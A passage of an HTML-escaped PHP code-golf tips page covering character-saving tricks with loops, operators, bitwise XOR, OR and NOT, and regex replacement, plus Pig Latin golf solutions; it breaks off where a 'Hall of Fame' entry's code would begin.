&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;count_chars&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;strtoupper&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'This is a string'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];)&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;' '&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'This is a string'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];)&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;' '&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ß&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://php.net/sizeof&quot;&gt;sizeof&lt;/a&gt; -&amp;gt; most times unnecessary, if needed use &lt;a href=&quot;http://php.net/count&quot;&gt;count&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://php.net/count&quot;&gt;count&lt;/a&gt; -&amp;gt; most times unnecessary. See examples below:&lt;/li&gt;
&lt;/ul&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);)&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];)&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://php.net/floor&quot;&gt;floor&lt;/a&gt; -&amp;gt; Often can done with (int)$a (If you only want to do echo floor($a); you might consider printf(‘%u’,$a);)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://php.net/preg_replace&quot;&gt;preg_replace&lt;/a&gt; and &lt;a href=&quot;http://php.net/preg_filter&quot;&gt;preg_filter&lt;/a&gt; does have an e-flag, which means that the replacement is being executed as shown in the example below.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Both solutions below are written by JWvdVeer for the &lt;a href=&quot;http://stackoverflow.com/questions/3190914/code-golf-pig-latin&quot;&gt;PIG-latin golf challenge&lt;/a&gt;:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;foreach&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;~&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ß&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;SENTENCE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++?~&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ß&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;strpos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;' aeuio'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;w&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;substr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ay&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?=&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;preg_filter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'#b(([aioue]w*)|(w)(w*))b#ie'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'&quot;$2&quot;?&quot;$2way&quot;:&quot;$4$3ay&quot;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;SENTENCE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The second solution is much shorter than the first. It even can handle strings with punctuation.&lt;/p&gt;

&lt;h2 id=&quot;operators&quot;&gt;Operators&lt;/h2&gt;

&lt;h3 id=&quot;precedence&quot;&gt;Precedence&lt;/h3&gt;
&lt;p&gt;Know the precedence of operators. A table with information about the precedence can be found at: &lt;a href=&quot;http://php.net/manual/language.operators.precedence.php&quot;&gt;http://php.net/manual/language.operators.precedence.php&lt;/a&gt;. This is important. Because then you know when (not) to put parentheses around your piece of code.
Try to concatenate operators as often as possible. Set the variables $a, $b, $c to 1, $d to ‘None’ and $e has to be incremented? Then it should be:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;condition&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$e&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$d&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Not:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;condition&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$d&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Or incremented $b with $c, then added to $a, and showing whether $a is odd or even after that increment?&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'$a is '&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;odd&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;even&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;modulo-operator-&quot;&gt;Modulo operator (%)&lt;/h3&gt;

&lt;p&gt;Modulo is a really useful operator for doing actions that only have to be done once in so many times in a loop or with some given condition. The condition to the loop can be a variable you can use for this purpose.&lt;/p&gt;

&lt;p&gt;So if something has to be done every each 9th iteration:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?:&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;doSomething&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;It is comparable to the bitwise &amp;amp;-operator in the cases that if a%b is given, b is a power of two. In that case it is exactly the same as a&amp;amp;(b-1). So $a%8 is exactly the same as $a&amp;amp;7. Only the precedence of these two operators is different. So use the right one in your context.&lt;/p&gt;

&lt;h2 id=&quot;assignment-operators&quot;&gt;Assignment Operators&lt;/h2&gt;

&lt;p&gt;If possible always try to use +=, -=, %=, &amp;amp;=, |=, etc.
Mind the fact is associativity is right. So first the most right assignment operator in the expression will be executed.&lt;/p&gt;

&lt;p&gt;Which makes this:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;exactly the same as:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;But not the same as:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;bitwise&quot;&gt;Bitwise&lt;/h2&gt;

&lt;h3 id=&quot;bitwise-xor-&quot;&gt;Bitwise XOR (^)&lt;/h3&gt;
&lt;p&gt;Bitwise XOR for integers is a replacement for !=&lt;/p&gt;

&lt;p&gt;Numeric example:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?:&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'$i is seven'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Equals:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;^&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?:&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'$i is seven'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;On strings it might be very useful to determine whether the given character equals a given char. This can be done by XOR the given char to ‘0’, since ‘0’ evaluates false.&lt;/p&gt;

&lt;p&gt;Example check whether char equals ‘_’:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'Char is '&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;^&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'not '&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'an underscore'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;This trick only can be used on one char. Since ‘0’ evaluates false, but ‘00…’ evaluates true.&lt;/p&gt;

&lt;h3 id=&quot;bitwise-or-&quot;&gt;Bitwise OR (|)&lt;/h3&gt;
&lt;p&gt;Used for several purposes. One of them is converting letters to lowercase (see strtolower and lcfirst in section &lt;em&gt;functions&lt;/em&gt;).
Mind the fact that $int|$nonNumericString==$int==true. Sometimes this might be useful, because you don’t need a semicolon instead and your code might be written in one expression (for example in a ternary-operator).&lt;/p&gt;

&lt;h3 id=&quot;bitwise-not-&quot;&gt;Bitwise NOT (~)&lt;/h3&gt;
&lt;p&gt;Covered in the &lt;em&gt;String&lt;/em&gt; section.&lt;/p&gt;

&lt;h2 id=&quot;hall-of-fame&quot;&gt;Hall of Fame&lt;/h2&gt;

&lt;p&gt;Below are two of the most impressive work from the public challenges in my opinion. They were submitted in 2012 by the talented primo, whom had the top score on all challenges. The encoding used to calculate the filesize was ISO-8859-1.&lt;/p&gt;

&lt;h3 id=&quot;cantors-enumeration&quot;&gt;Cantor’s Enumeration&lt;/h3&gt;

&lt;p&gt;Challenge description: Print out the 100 first numbers in &lt;a href=&quot;https://pastebin.com/4nub2H0r&quot;&gt;Cantor’s Enumeration&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/cantor.png&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Leading submission with 57 bytes:&lt;/p&gt;
